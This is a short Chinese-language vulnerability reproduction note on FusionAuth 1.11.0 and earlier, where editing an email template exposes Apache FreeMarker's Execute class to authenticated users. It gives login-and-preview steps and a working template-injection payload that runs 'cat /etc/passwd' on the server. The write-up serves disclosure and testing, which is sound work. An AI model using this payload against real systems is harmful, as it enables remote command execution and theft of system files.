一、漏洞简介
1、FusionAuth
FusionAuth是一个免费的身份管理平台,安装简单,易于集成。FusionAuth提供登录、注册、MFA、SSO、电子邮件模板、本地化、密码控制、强哈希、网络挂钩、基于角色的访问控制等功能。
2、Apache FreeMarker
FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
FreeMarker是免费的,基于Apache许可证2.0版本发布。
3、漏洞描述
FusionAuth使用了 Apache FreeMarker 模板引擎,经过身份验证的用户允许编辑电子邮件模板(Settings/Email Templates/Edit/Preview),可通过利用freemarker.template.utility.Execute
执行任意系统命令。
影响版本
FusionAuth <= 1.11.0
二、漏洞复现
1、利用账号密码登录系统
2、点击Preview:
3、修改Default HTML参数如下:
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}}
4、点击Preview,命令执行。